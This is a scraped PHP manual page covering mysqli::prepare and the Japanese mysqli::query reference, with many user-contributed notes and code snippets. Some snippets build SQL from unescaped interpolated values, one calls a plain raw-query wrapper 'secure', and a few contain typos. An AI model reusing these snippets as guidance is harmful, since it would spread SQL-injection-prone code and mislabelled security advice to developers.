The following works and is IDE friendly:

$stmt = new mysqli_stmt($link, $query);
@runspired 31-Jan-2013 04:42
I don't think this is a bug, just an unexpected behavior.  While building an API I discovered that passing INT 0 instead of STRING '0' into a prepared statement caused my script to run out of memory and produce a 500error on the webpage.

A simplified example of this issue is below: ($_DB is a global reference to a mysqli connection)

<?php
function getItem( $ID ) {

     $_STATEMENT = $_DB->prepare("SELECT item_user, item_name, item_description FROM item WHERE item_id = ?;");

     $_STATEMENT->bind_param( 'i' , $ID );

     $_STATEMENT->execute();
     $_STATEMENT->store_result();

     $_STATEMENT->bind_result( $user , $name , $description);
     $result = $_STATEMENT->fetch();

     $_STATEMENT->free_result();
     $_STATEMENT->close();

     return $result;
}

getItem(0); //fails!
getItem('0'); //works!

?>

The best I can guess is that an INT 0 gets translated as BOOLEAN , and if this is indeed the case it should be documented above, but all efforts to get error information (via the php script) have failed.
timchampion dot NOSPAM at gmail dot com 17-Feb-2012 08:56
Just wanted to make sure that all were aware of get_result.

In the code sample, after execute(), perform a get_result() like this:

<?php

// ... document's example code:

    /* bind parameters for markers */
    $stmt->bind_param("s", $city);

    /* execute query */
    $stmt->execute();

    /* instead of bind_result: */
    $result = $stmt->get_result();

    /* now you can fetch the results into an array - NICE */
    while ($myrow = $result->fetch_assoc()) {

        // use your $myrow array as you would with any other fetch
        printf("%s is in district %s\n", $city, $myrow['district']);

    }
?>

This is much nicer when you have a dozen or more fields coming back from your query.  Hope this helps.
Bernie van&#39;t Hof 02-Feb-2012 06:38
Prepared statements are confusing in the beginning ..

mysqli->prepare() returns a so-called statement object which is used for subsequent operations eg execute, bind_param, store_result, bind_result, fetch, etc.

The statement object has private properties which update as each statement operation is carried out. I found these useful for understanding what is going on when writing a prepared statement function:

affected_rows
insert_id
num_rows
param_count
field_count
errno
error
sqlstate
id

But it took a little time to get my head around accessing them:

<?php
$stmt = $mysqli->prepare($query);

//       .. $stmt-> operations ..

var_dump($stmt); // shows null values

var_dump($stmt->errno); // note literal, displays value

//       .. $stmt-> operations ..

// to keep a copy ..
// get_object_properties() won't work
// clone() won't work
$properties = array();
foreach ($stmt as $name => $priv){
    $properties[$name] = $stmt->$name; //    works
    // $properties[$name] = $priv; //    won't work, foreach can't access private properties
}

$stmt->close();
// var_dump($stmt->errno) // won't work, $stmt is closed
?>
Darren 13-Jan-2012 11:09
I wrote this function for my personal use and figured I would share it.  I am not sure if this is the appropriate forum but I wish I had this when I stumbled on to mysqli::prepare.  The function is an update of the function I posted previously.  The previous function could not handle multiple queries.

For queries:
Results of single queries are given as arrays[row#][associated Data Array]
Results of multiple queries are given as arrays[query#][row#][associated Data Array]

For queries which return an affected row#, affected rows are returned instead of (array[row#][associated Data Array])

Code and example are below:

<?php
function mysqli_prepared_query($link,$sql,$typeDef = FALSE,$params = FALSE){
  if($stmt = mysqli_prepare($link,$sql)){
    if(count($params) == count($params,1)){
      $params = array($params);
      $multiQuery = FALSE;
    } else {
      $multiQuery = TRUE;
    }

    if($typeDef){
      $bindParams = array();
      $bindParamsReferences = array();
      $bindParams = array_pad($bindParams,(count($params,1)-count($params))/count($params),"");
      foreach($bindParams as $key => $value){
        $bindParamsReferences[$key] = &$bindParams[$key];
      }
      array_unshift($bindParamsReferences,$typeDef);
      $bindParamsMethod = new ReflectionMethod('mysqli_stmt', 'bind_param');
      $bindParamsMethod->invokeArgs($stmt,$bindParamsReferences);
    }

    $result = array();
    foreach($params as $queryKey => $query){
      foreach($bindParams as $paramKey => $value){
        $bindParams[$paramKey] = $query[$paramKey];
      }
      $queryResult = array();
      if(mysqli_stmt_execute($stmt)){
        $resultMetaData = mysqli_stmt_result_metadata($stmt);
        if($resultMetaData){
          $stmtRow = array();
          $rowReferences = array();
          while ($field = mysqli_fetch_field($resultMetaData)) {
            $rowReferences[] = &$stmtRow[$field->name];
          }
          mysqli_free_result($resultMetaData);
          $bindResultMethod = new ReflectionMethod('mysqli_stmt', 'bind_result');
          $bindResultMethod->invokeArgs($stmt, $rowReferences);
          while(mysqli_stmt_fetch($stmt)){
            $row = array();
            foreach($stmtRow as $key => $value){
              $row[$key] = $value;
            }
            $queryResult[] = $row;
          }
          mysqli_stmt_free_result($stmt);
        } else {
          $queryResult[] = mysqli_stmt_affected_rows($stmt);
        }
      } else {
        $queryResult[] = FALSE;
      }
      $result[$queryKey] = $queryResult;
    }
    mysqli_stmt_close($stmt);
  } else {
    $result = FALSE;
  }

  if($multiQuery){
    return $result;
  } else {
    return $result[0];
  }
}
?>

Example(s):
For a table of firstName and lastName:
John Smith
Mark Smith
Jack Johnson
Bob Johnson

<?php
//single query, single result
$query = "SELECT * FROM names WHERE firstName=? AND lastName=?";
$params = array("Bob","Johnson");

mysqli_prepared_query($link,$query,"ss",$params)
/*
returns array(
0=> array('firstName' => 'Bob', 'lastName' => 'Johnson')
)
*/

//single query, multiple results
$query = "SELECT * FROM names WHERE lastName=?";
$params = array("Smith");

mysqli_prepared_query($link,$query,"s",$params)
/*
returns array(
0=> array('firstName' => 'John', 'lastName' => 'Smith')
1=> array('firstName' => 'Mark', 'lastName' => 'Smith')
)
*/

//multiple query, multiple results
$query = "SELECT * FROM names WHERE lastName=?";
$params = array(array("Smith"),array("Johnson"));

mysqli_prepared_query($link,$query,"s",$params)
/*
returns array(
0=>
array(
0=> array('firstName' => 'John', 'lastName' => 'Smith')
1=> array('firstName' => 'Mark', 'lastName' => 'Smith')
)
1=>
array(
0=> array('firstName' => 'Jack', 'lastName' => 'Johnson')
1=> array('firstName' => 'Bob', 'lastName' => 'Johnson')
)
)
*/
?>

Hope it helps =)
Darren 11-Jan-2012 03:59
For those learning mysqli::prepare and mysqli_stmt::bind_params for the first time, here is a commented block of code which executes prepared queries and returns data in a similar format to the return values of mysqli_query.  I tried to minimize unnecessary classes, objects, or overhead for two reasons:
1) facilitate learning
2) allow relativity interchangeable use with mysqli_query

My goal is to lower the learning curve for whoever is starting out with these family of functions.  I am by no means an expert coder/scripter, so I am sure there are improvements and perhaps a few bugs, but I hope not =)

<?php
/*
Function: mysqli_prepared_query()
  Executes prepared querys given query syntax, and bind parameters
  Returns data in array format

Arguments:
  mysqli_link
  mysqli_prepare query
  mysqli_stmt_bind_param argmuent list in the form array($typeDefinitinonString, $var1 [, mixed $... ])

Return values:
  When given SELECT, SHOW, DESCRIBE or EXPLAIN statements: returns table data in the form resultArray[row number][associated field name]
  Returns number of rows affacted when given other queries
  Returns FALSE on error
*/
function mysqli_prepared_query($link,$sql,$bindParams = FALSE){
  if($stmt = mysqli_prepare($link,$sql)){
    if ($bindParams){
      $bindParamsMethod = new ReflectionMethod('mysqli_stmt', 'bind_param');  //allows for call to mysqli_stmt->bind_param using variable argument list
      $bindParamsReferences = array();  //will act as arguments list for mysqli_stmt->bind_param

      $typeDefinitionString = array_shift($bindParams);
      foreach($bindParams as $key => $value){
        $bindParamsReferences[$key] = &$bindParams[$key];
      }

      array_unshift($bindParamsReferences,$typeDefinitionString); //returns typeDefinition as the first element of the string
      $bindParamsMethod->invokeArgs($stmt,$bindParamsReferences); //calls mysqli_stmt->bind_param suing $bindParamsRereferences as the argument list
    }
    if(mysqli_stmt_execute($stmt)){
      $resultMetaData = mysqli_stmt_result_metadata($stmt);
      if($resultMetaData){
        $stmtRow = array(); //this will be a result row returned from mysqli_stmt_fetch($stmt)
        $rowReferences = array();  //this will reference $stmtRow and be passed to mysqli_bind_results
        while ($field = mysqli_fetch_field($resultMetaData)) {
          $rowReferences[] = &$stmtRow[$field->name];
        }
        mysqli_free_result($resultMetaData);
        $bindResultMethod = new ReflectionMethod('mysqli_stmt', 'bind_result');
        $bindResultMethod->invokeArgs($stmt, $rowReferences); //calls mysqli_stmt_bind_result($stmt,[$rowReferences]) using object-oriented style
        $result = array();
        while(mysqli_stmt_fetch($stmt)){
          foreach($stmtRow as $key => $value){  //variables must be assigned by value, so $result[] = $stmtRow does not work (not really sure why, something with referencing in $stmtRow)
            $row[$key] = $value;
          }
          $result[] = $row;
        }
        mysqli_stmt_free_result($stmt);
      } else {
        $result = mysqli_stmt_affected_rows($stmt);
      }
      mysqli_stmt_close($stmt);
    } else {
      $result = FALSE;
    }
  } else {
    $result = FALSE;
  }
  return $result;
}

?>

Here's hoping the PHP gods don't smite me.
Zeebuck 24-Jul-2011 12:51
I think that the purpose that it was originally built for, and the purpose that people use it for today, have diverged.  But why dwell on the original purpose?  Obviously more code has been put into prepared statements today to allow it to be used to prevent sql injections, so it is now part of the design purpose today, as well as performance on repeatable statements.
Codeguy 29-Apr-2011 07:39
The actual purpose to use a prepared statement in sql is to cut the cost of processing queries; NOT to separate data from query. That's how it's being used w/ php NOW, not how it was designed to be used in the first place. With SQL you cut the cost of executing multiple similar queries down by using a prepared statement.. Doing so cuts out the parsing, validation and most often generates an execution plan for said query up front. Which is why they run faster in a loop, than their  IMMEDIATE Query cousins do. Do not assume that just because someone uses php and this function this way does not mean that it is THE way, or only way to do it. Although it is more secure than general queries but they are also more limited in what they can do or more precisely how you can go about doing it.
prwexler at earthlink dot net 09-Apr-2011 04:14
Actually, the purpose of a prepare statement is to separate user input from SQL commands.  This increases security by preventing a user from executing his own SQL code and damaging the integrity of a database.
sdepouw at NOSPAM dot com 29-Jul-2009 06:03
I don't know how obvious this was for anyone else, but if you attempt to prepare a query for a table that doesn't exist in the database the connection currently points to (or if your query is invalid in some other way, I suppose), an object will not be returned. I only noticed this after doing some digging when I kept getting a fatal error saying that my statement variable was not an set to an instance of an object (it was probably null).

Replace NOSPAM with nimblepros to e-mail me.
rafael at stiod dot com 29-Sep-2008 04:44
All data must be fetched before a new statement prepare
admin at xorath dot com 15-Aug-2007 10:39
Performance note to those who wonder. I performed a test where first of all inserted about 30,000 posts with one PK:id and a varchar(20), where the varchar data was md5-hash for the current iterator value just to fill with some data.

The test was performed on a dedicated ubuntu 7.04 server with apache2/php5/mysql5.0 running on Athlon 64 - 3000+ with 512MB of RAM. The queries where tested with a for-loop from 0 to 30000 first with:

<?php
for ( $i = 0; $i <= 30000; ++$i )
{
    $result = $mysqli->query("SELECT * FROM test WHERE id = $i");
    $row = $result->fetch_row();
    echo $row[0]; //prints id
}
?>

which gave a page-load time of about 3.3seconds avarage, then with this loop:

<?php
$stmt = $mysqli->prepare("SELECT * FROM test WHERE id = ?");
for ( $i = 0; $i <= 30000; ++$i )
{
    $stmt->bind_param("i", $i);
    $stmt->execute();
    $stmt->bind_result($id, $md5);
    $stmt->fetch();
    echo $id;
}
$stmt->close();
?>

and the avarage page-load was lowered by 1.3sec, which means about 2.0 sec avarage! Guess the performance difference could be even greater on a more complex/larger table and more complex SQL-queries.
nom0ny at yahoo dot com 25-May-2007 12:30
It must be noted in the Description whether developers should call mysqli_stmt_close prior to executing mysqli_prepare again on the same statement variable.

Example, Script A calls mysqli_stmt_close twice:
<?php
/* Script A -- We are already connected to the database */

$stmt = mysqli_prepare($link, "INSERT INTO table VALUES (?, ?, 100)"); /* Query 1 */
mysqli_stmt_bind_param($stmt, "si", $string, $integer);
mysqli_stmt_execute($stmt);
mysqli_stmt_close($stmt); // CLOSE $stmt

$stmt = mysqli_prepare($link, "INSERT INTO table VALUES ('PHP', ?, ?)"); /* Query 2 */
mysqli_stmt_bind_param($stmt, "ii", $integer, $code);
mysqli_stmt_execute($stmt);
mysqli_stmt_close($stmt); // CLOSE $stmt

/* Script A -- Continues on... */
?>

Next, we have Script B, calling mysqli_prepare again before issuing mysqli_stmt_close on the prior statement.
<?php
/* Script B -- We are already connected to the database */

$stmt = mysqli_prepare($link, "INSERT INTO table VALUES (?, ?, 100)"); /* Query 1 */
mysqli_stmt_bind_param($stmt, "si", $string, $integer);
mysqli_stmt_execute($stmt);

$stmt = mysqli_prepare($link, "INSERT INTO table VALUES ('PHP', ?, ?)"); /* Query 2 */
mysqli_stmt_bind_param($stmt, "ii", $integer, $code);
mysqli_stmt_execute($stmt);

mysqli_stmt_close($stmt); // CLOSE $stmt

/* Script B -- Continues on... */
?>

Which method is more efficient and should be used by developers?
Adam 10-Aug-2006 03:03
The purpose of prepared statements is to not include data in your SQL statements. Including them in your SQL statements is NOT safe. Always use prepared statements. They are cleaner to use (code easier to read) and not prone to SQL injections.

Escaping strings to include in SQL statements doesn't work very well in some locales hence it is not safe.
codeFiend <aeontech at gmail dot com> 05-May-2006 02:47
Note that single-quotes around the parameter markers _will_ prevent your statement from being prepared correctly.
Ex:

<?php
$stmt = $mysqli->prepare("INSERT INTO City (District) VALUES ('?')");
echo $stmt->param_count." parameters\n";
?>
will print 0 and fail with "Number of variables doesn't match number of parameters in prepared statement" warning when you try to bind the variables to it.

But

<?php
$stmt = $mysqli->prepare("INSERT INTO City (District) VALUES (?)");
echo $stmt->param_count." parameters\n";
?>
will print 1 and function correctly.

Very annoying, took me an hour to figure this out.
Ulf Wostner 23-Jan-2006 08:53
Here is an example using bind_param and bind_result, showing iteration over a list of cities.

Note that there's some bug-potential in cases where the query returns NULL for some parameter value,
but the bind_result variables still might be bound.  So, we use a conditional to spray the spot first.

$mysqli->select_db("world");

$template = "SELECT District, CountryCode FROM City WHERE Name=?";
printf("Prepare statement from template: %s\n",  $template);

$cities = array('San Francisco', 'Lisbon', 'Lisboa', 'Marrakech', 'Madrid');
printf("Cities: %s\n", join(':', $cities));

if ($stmt = $mysqli->prepare($template)) {

   foreach($cities as $city) {
     // bind the string $city to the '?'
     $stmt->bind_param("s", $city);
     $stmt->execute();
     // bind result variables
     $stmt->bind_result($d,$cc);
     // 'Lisbon' is not found in the world.City table, but 'Lisboa' is.
     // Using a conditional we avoid putting Lisbon in California.
     if($stmt->fetch()) {
       printf("%s is in  %s, %s\n", $city, $d, $cc);
     }

   }
   $stmt->close();
}

With the conditional statement we get the desired result:

Prepare statement from template: SELECT District,CountryCode FROM City WHERE Name=?
Cities: San Francisco:Lisbon:Lisboa:Marrakech:Madrid

San Francisco is in  California, USA
Lisboa is in  Lisboa, PRT
Marrakech is in  Marrakech-Tensift-Al, MAR
Madrid is in  Madrid, ESP

But, without the conditional statement we would put Lisbon in California:

San Francisco is in  California, USA
Lisbon is in  California, USA
Lisboa is in  Lisboa, PRT
Marrakech is in  Marrakech-Tensift-Al, MAR
Madrid is in  Madrid, ESP
David Kramer 20-Dec-2005 12:50
I don't think these are good examples, because the primary use of prepared queries is when you are going to call the same query in a loop, plugging in different values each time.  For instance, if you were generating a report and needed to run the same query for each line, tweaking the values in the WHERE clause, or importing data from another system.


データベース上でクエリを実行する

  • ≪ mysqli::prepare
  • mysqli::real_connect ≫
  • PHP Manual
  • mysqli
  • データベース上でクエリを実行する

mysqli::query

mysqli_query

(PHP 5, PHP 7)

mysqli::query -- mysqli_query — データベース上でクエリを実行する

説明

オブジェクト指向型

public mysqli::query ( string $query , int $resultmode = MYSQLI_STORE_RESULT ) : mixed

手続き型

mysqli_query ( mysqli $link , string $query , int $resultmode = MYSQLI_STORE_RESULT ) : mixed

データベースに対してクエリ query を実行します。

DML (INSERT、UPDATE あるいは DELETE)
以外のクエリについては、
この関数は mysqli_real_query()
に続けて mysqli_use_result() あるいは
mysqli_store_result() をコールすることと同等です。

注意:

サーバーの max_allowed_packet よりも長いステートメントを mysqli_query() に渡した場合、 返ってくるエラーコードは MySQL Native Driver (mysqlnd) を使っているか MySQL Client Library (libmysqlclient) を使っているかで異なります。 それぞれ、次のように振る舞います。

  • Linux 上の mysqlnd では、エラーコード 1153 を返します。 エラーメッセージは got a packet bigger than max_allowed_packet bytes です。

  • Windows 上の mysqlnd では、エラーコード 2006 を返します。 エラーメッセージは server has gone away です。

  • すべてのプラットフォームの libmysqlclient では、エラーコード 2006 を返します。エラーメッセージは server has gone away です。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

query

クエリ文字列。

クエリ内のデータは 適切にエスケープ. する必要があります。

resultmode

定数 MYSQLI_USE_RESULT あるいは MYSQLI_STORE_RESULT で、望みの挙動を指定します。 デフォルトでは MYSQLI_STORE_RESULT を使用します。

MYSQLI_USE_RESULT を使用すると、 mysqli_free_result() をコールするまでは それ以降のコールはすべて Commands out of sync エラーを返します。

MYSQLI_ASYNC (mysqlnd で使用可能) を使用すると、クエリを非同期実行できるようになります。 このクエリの結果を取得するには mysqli_poll() を使用します。

返り値

失敗した場合に false を返します。 結果セットを生成するクエリ、 つまり SELECT, SHOW, DESCRIBE あるいは EXPLAIN が成功した場合は、mysqli_query() は mysqli_result オブジェクトを返します。それ以外のクエリが成功した場合は、 mysqli_query() は true を返します。

例

例1 mysqli::query() の例

オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if ($mysqli->connect_errno) {
    printf("Connect failed: %s\n", $mysqli->connect_error);
    exit();
}

/* テーブルを作成します。これは結果セットを返しません */
if ($mysqli->query("CREATE TEMPORARY TABLE myCity LIKE City") === TRUE) {
    printf("Table myCity successfully created.\n");
}

/* Select クエリを実行します。これは結果セットを返します */
if ($result = $mysqli->query("SELECT Name FROM City LIMIT 10")) {
    printf("Select returned %d rows.\n", $result->num_rows);

    /* 結果セットを開放します */
    $result->close();
}

/* 大量のデータを取得する必要がある場合は MYSQLI_USE_RESULT を使用します */
if ($result = $mysqli->query("SELECT * FROM City", MYSQLI_USE_RESULT)) {

    /* この結果セットが閉じられるまで、サーバーとやりとりする関数は
       一切実行できないことに注意しましょう。関数をコールすると、
       'out of sync' エラーが発生します */
    if (!$mysqli->query("SET @a:='this will not work'")) {
        printf("Error: %s\n", $mysqli->error);
    }
    $result->close();
}

$mysqli->close();
?>

手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* テーブルを作成します。これは結果セットを返しません */
if (mysqli_query($link, "CREATE TEMPORARY TABLE myCity LIKE City") === TRUE) {
    printf("Table myCity successfully created.\n");
}

/* Select クエリを実行します。これは結果セットを返します */
if ($result = mysqli_query($link, "SELECT Name FROM City LIMIT 10")) {
    printf("Select returned %d rows.\n", mysqli_num_rows($result));

    /* 結果セットを開放します */
    mysqli_free_result($result);
}

/* 大量のデータを取得する必要がある場合は MYSQLI_USE_RESULT を使用します */
if ($result = mysqli_query($link, "SELECT * FROM City", MYSQLI_USE_RESULT)) {

    /* この結果セットが閉じられるまで、サーバーとやりとりする関数は
       一切実行できないことに注意しましょう。関数をコールすると、
       'out of sync' エラーが発生します */
    if (!mysqli_query($link, "SET @a:='this will not work'")) {
        printf("Error: %s\n", mysqli_error($link));
    }
    mysqli_free_result($result);
}

mysqli_close($link);
?>

上の例の出力は以下となります。

Table myCity successfully created.
Select returned 10 rows.
Error: Commands out of sync;  You can't run this command now

参考

  • mysqli_real_query() - SQL クエリを実行する
  • mysqli_multi_query() - データベース上でクエリを実行する
  • mysqli_free_result() - 結果に関連付けられたメモリを開放する

User Contributed Notes

Anonymous 05-Jun-2018 11:21
Here is an example of a clean query into a html table

<table>
   <tr>
     <th>First Name</th>
     <th>Last Name</th>
     <th>City</th>
   </tr>
   <?php while ($row = $myquery->fetch_assoc()) { ?>
   <tr>
     <td><?php echo $row["firstname"]; ?></td>
     <td><?php echo $row["lastname"]; ?></td>
     <td><?php echo $row["city"];?></td>
   </tr>
   <?php } ?>
 </table>
omidbahrami1990 at gmail dot com 06-Dec-2017 10:17
This Is A Secure Way To Use mysqli::query
--------------------------------------------------------
<?php
function secured_query($sql)
{
$connection = new mysqli($host,$username,$password,$name);

if ($connection->connect_error)
die("Secured");

$result=$connection->query($sql);
if($result==FALSE)
die("Secured");

$connection->close();
return $result;
}
/*
$host ---> DataBase IP Address
$username ---> DataBase Username
$password ---> DataBase Password
$name ---> DataBase Name
*/
?>
David Marcus 03-May-2017 05:43
If you use the default resultmode of MYSQLI_STORE_RESULT, you can call $mysqli->close() right after $mysqli->query and before you use mysqli_result. This reduces the time the connection is open, which can help if the database server has a limit on how many connections there can be.
Anonymous 17-Mar-2017 12:55
I don't know is it bug or something , then first I write it here . Query SHOW with MYSQLI_USE_RESULT option don't show num_rows :
<?php
SHOW TABLES LIKE [some table], MYSQLI_USE_RESULT
num_rows // shows 0 !
?>
ahmed dot 3abdolah at gmail dot com 12-Sep-2014 11:39
Hi, i created function that add  a new table using array , i work with it on my projects ...
<?PHP
                   /* this function was learned from PHP.net */
function array_keys_exist(&$key,array &$array){
                $keys = split("\|",$key);
                foreach($keys as $key_s){
                    if(array_key_exists($key_s, $array)) return true;
                    }
                return false;
            }
/*and this is my function */
array_create_table(array &$array){
        if(is_array($array)){
           $key = "table|rows|values";
        $info = "";
        if(array_keys_exist($key,$array)){
        if(is_array($array["rows"]) and is_array($array["values"]) ){

            if(count($array["rows"]) == count($array["values"])) {
                        for($i=0; $i<=count($array["rows"]); $i++){
    $info = $info." ".$array["rows"][$i]." ".$array["values"][$i]." NOT NULL ";
            if($i < count($array["rows"])-1 ) $info = $info.",";
                    }
    $query = "CREATE TABLE ".$this->private_tables_name.$array["table"]." ";
    $query .= "( id INT NOT NULL AUTO_INCREMENT PRIMARY KEY, ".$info." )";
                    return $query;
                        }
                        }
                }else return "Error";
                    }
            }

/* the use is simple */
$database = new database(); // connection to database i used mysqli ...
$array = array("table"=>"MRO", "rows"=>array("name","username") , "values" => array("VARCHAR (50) "," VARCHAR (50) ") );

$query = array_create_table($array); // convert and create the query ...
if($database->query($query)) echo "Work"; else echo "Error"; // result : work

?>
joseph_robert_martinez at yahoo dot com 14-Mar-2014 07:00
For those using with replication enabled on their servers,  add a mysqli_select_db() statement before any data modification queries.  MySQL replication does not handle statements with db.table the same and will not replicate to the slaves if a scheme is not selected before.

Found out after days of resetting master and slaves on another site http://www.linuxquestions.org/questions/linux-server-73/mysql-5-1-not-replicating-properly-with-slave-823296/
popere dot noel at yahoo dot com 26-Jun-2013 09:43
or you could just extend the class...
 in my case i already had a wraper for the db so something like this was easy :

 public function  free($result) {

  $result->free_result();
 $this->link->next_result();
 }

just tried it and it works like a charm ;-)
blinki bill, argodak at yahoo dot com 06-Jun-2013 03:10
Recently I had puzzling problem when performing DML queries, update in particular, each time a update query is called and then there are some more queries to follow this error will show on the page and go in the error_log:
"Fatal error:  Exception thrown without a stack frame in Unknown on line 0"

The strange thing is that all queries go through just fine so it didn't make much sense:

$update = mysqli_query($connection, $query_string);
if(!$update){
 echo 'Houston we have a problem '.mysqli_error($connection);
 exit;
}

In the above example "$update" is "true", mysqli_error() is empty and of course the update operation goes through, however the nasty super cryptic error appears on the page.
What makes even less sense to me is how I fixed it - just called "mysqli_free_result" after the update query and the problem was gone, however because mysqli_free_result is not supposed to be called after DML queries (to free what, a boolean? lol) it needs to be wrapped in a try catch block:

try{
 mysqli_free_result($update);
}catch (Exception $e){
 //do nothing
}

So, I don't know why but it seems that when DML queries are responsible for:
"Fatal error:  Exception thrown without a stack frame in Unknown on line 0"
calling "mysqli_free_result" after the query seems to be fixing the issue
marcus at synchromedia dot co dot uk 15-Jun-2011 10:17
The exact type returned by a successful query is mysqli_result.
theyranos at gmail dot com 12-Apr-2011 06:35
The cryptic "Couldn't fetch mysqli" error message can mean any number of things, including:

1. You're trying to use a database object that you've already closed (as noted by ceo at l-i-e dot com). Reopen your database connection, or find the call to <?php mysqli_close($db); ?> or <?php $db->close(); ?> and remove it.
2. Your MySQLi object has been serialized and unserialized for some reason. Define a wakeup function to re-create your database connection. http://php.net/__wakeup
3. Something besides you closed your mysqli connection (in particular, see http://bugs.php.net/bug.php?id=33772)
4. You mixed OOP and functional calls to the database object. (So, you have <?php $db->query() ?> in the same program as <?php mysqli_query($db) ?>).
petrus.jvr 14-Mar-2011 03:40
When calling multiple stored procedures, you can run into the following error: "Commands out of sync; you can't run this command now".
This can happen even when using the close() function on the result object between calls.
To fix the problem, remember to call the next_result() function on the mysqli object after each stored procedure call. See example below:

<?php
// New Connection
$db = new mysqli('localhost','user','pass','database');

// Check for errors
if(mysqli_connect_errno()){
 echo mysqli_connect_error();
}

// 1st Query
$result = $db->query("call getUsers()");
if($result){
     // Cycle through results
    while ($row = $result->fetch_object()){
        $user_arr[] = $row;
    }
    // Free result set
    $result->close();
    $db->next_result();
}

// 2nd Query
$result = $db->query("call getGroups()");
if($result){
     // Cycle through results
    while ($row = $result->fetch_object()){
        $group_arr[] = $row;
    }
     // Free result set
     $result->close();
     $db->next_result();
}
else echo($db->error);

// Close connection
$db->close();
?>
thomas dekker 23-Sep-2010 11:08
Building inserts can be annoying. This helper function inserts an array into a table, using the key names as column names:

<?php
  private function store_array (&$data, $table, $mysqli)
  {
    $cols = implode(',', array_keys($data));
    foreach (array_values($data) as $value)
    {
      isset($vals) ? $vals .= ',' : $vals = '';
      $vals .= '\''.$this->mysql->real_escape_string($value).'\'';
    }
    $mysqli->real_query('INSERT INTO '.$table.' ('.$cols.') VALUES ('.$vals.')');
  }
?>

Adapt it to your specific needs.
registrations at jdfoxmicro dot com 21-Jun-2010 04:11
I like to save the query itself in a log file, so that I don't have to worry about whether the site is live.

For example, I might have a global function:

<?php
function UpdateLog ( $string , $logfile )  {
   $fh = fopen ( $logfile , 'a' );
   $fwrite ( $fh , strftime ('%F %T %z')." ".$string."\n";
   fclose ( $fh );
}
?>

Then in my mysql function error trapper, something like this:

<?php
   $error_msg = "Database error in [page].php / ";
   $error_msg .= mysqli_error ( $link )." / ";
   $error_msg .= $query;
   UpdateLog ( $error_msg , DB_ERROR_LOG_FILE );
?>

I also include the remote IP, user agent, etc., but I left it out of these code samples.  And have it e-mail me when an error is caught, too.

Jeff
Igor 24-Nov-2008 06:54
mysqli::query() can only execute one SQL statement.

Use mysqli::multi_query() when you want to run multiple SQL statements within one query.
ceo at l-i-e dot com 27-Aug-2008 07:51
Translation:
"Couldn't fetch mysqli"

You closed your connection and are trying to use it again.

It has taken me DAYS to figure out what this obscure error message means...
NUNTIUS 01-Feb-2008 01:33
This may or may not be obvious to people but perhaps it will help someone.

When running joins in SQL you may encounter a problem if you are trying to pull two columns with the same name. mysqli returns the last in the query when called by name. So to get what you need you can use an alias.

Below I am trying to join a user id with a user role. in the first table (tbl_usr), role is a number and in the second is a  text name (tbl_memrole is a lookup table). If I call them both as role I get the text as it is the last "role" in the query. If I use an alias then I get both as desired as shown below.

<?php
$sql = "SELECT a.uid, a.role AS roleid, b.role,
            FROM tbl_usr a
            INNER JOIN tbl_memrole b
            ON a.role = b.id
            ";

    if ($result = $mysqli->query($sql)) {
        while($obj = $result->fetch_object()){
            $line.=$obj->uid;
            $line.=$obj->role;
            $line.=$obj->roleid;
        }
    }
    $result->close();
    unset($obj);
    unset($sql);
    unset($query);

?>
In this situation I guess I could have just renamed the role column in the first table roleid and that would have taken care of it, but it was a learning experience.
jcwebb at dicoe dot com 15-May-2007 01:42
When building apps, i like to see the whole statement when if fails.
<?php
$q="SELECT somecolumn FROM sometable"; //some instruction
$r=mysqli_query($DBlink,$q) or die(mysqli_error($DBlink)." Q=".$q);
?>
If theres an error (like my numerous typing mistakes) this shows the entire instruction.
Good for development (not so good on production servers - simply find and replace when finished: $r=mysqli_query($DBlink,$q); )

Hope it helps. Jon
antiriad at gmail dot com 12-Mar-2007 10:55
this is a variant of mysqli_query that returns output parameters as a rowset.

<?php
  function mysqli_exec($link, $command)
  {
      $select = '';
      $i2 = 0;

      while (true)
      {
      $i1 = strpos($command, '@', $i2);

      if ($i1 === false)
          break;

      $field = '';
      $i2 = $i1 + 1;

      while ($i2 < strlen($command) &&
          ($command[$i2] >= '0' && $command[$i2] <= '9') ||
          ($command[$i2] >= 'A' && $command[$i2] <= 'Z') ||
          ($command[$i2] >= 'a' && $command[$i2] <= 'z') ||
          ($command[$i2] == '_'))
          $i2++;

      $field = substr($command, $i1 + 1, $i2 - $i1 - 1);

      if (strlen($select) == 0)
        $select = "select @{$field} as $field";
      else
          $select = $select . ", @{$field} as $field";
      }

      if (strlen($select) > 0)
      {
        mysqli_query($link, $command);
        return mysqli_query($link, $select);
      }
      else
        return mysqli_query($link, $command);
  }
?>

an example:

<?php
  $link = mysqli_connect('localhost', 'myusr', 'mypass') or die ('Error connecting to mysql: ' . mysqli_error($link));
  mysqli_select_db($link, 'clips');

  $user_name = 'test';
  $result = mysqli_exec($link, "call do_user_login('$user_name', @session_id, @msg)");

  while ($row = mysqli_fetch_assoc($result))
  {
    echo "session_id : {$row['session_id']} <br>";
    echo "msg        : {$row['msg']} <br>";
  }
?>
info at ff dot net 08-May-2006 04:12
Calling Stored Procedures

Beeners' note/example will not work. Use mysqli_multi_query() to call a Stored Procedure. SP's have a second result-set which contains the status: 'OK' or 'ERR'. Using mysqli_query will not work, as there are multiple results.

<?php
$sQuery="CALL SomeSP('params')";
if(!mysqli_multi_query($sqlLink,$sQuery)) {
  // your error handler
}
$sqlResult=mysqli_store_result($sqlLink);

if(mysqli_more_results($this->sqlLink))//Catch 'OK'/'ERR'
  while(mysqli_next_result($this->sqlLink));
?>

You will have to rewrite/expand this a bit for more usability of course, but it's just an example.
Beeners 08-Jan-2006 12:16
Stored Procedures.

Use mysqli_query to call a stored procedure that returns a result set.

Here is a short example:

<?php
$mysqli = new mysqli(DBURI,DBUSER,DBPASS,DBNAME);
if (mysqli_connect_errno())
{
  printf("Connection failed: %s\n", mysqli_connect_error());
  exit();
}

$SQL = "CALL my_procedure($something)";
if ( ($result = $mysqli->query($SQL))===false )
{
  printf("Invalid query: %s\nWhole query: %s\n", $mysqli->error, $SQL);
  exit();
}

while ($myrow = $result->fetch_array(MYSQLI_ASSOC))
{
  $aValue[]=$myrow["a"];
  $bValue[]=$myrow["b"];
}
$result->close();
$mysqli->close();
?>
I hope this saves someone some time.
andrey at php dot net 07-Aug-2005 12:03
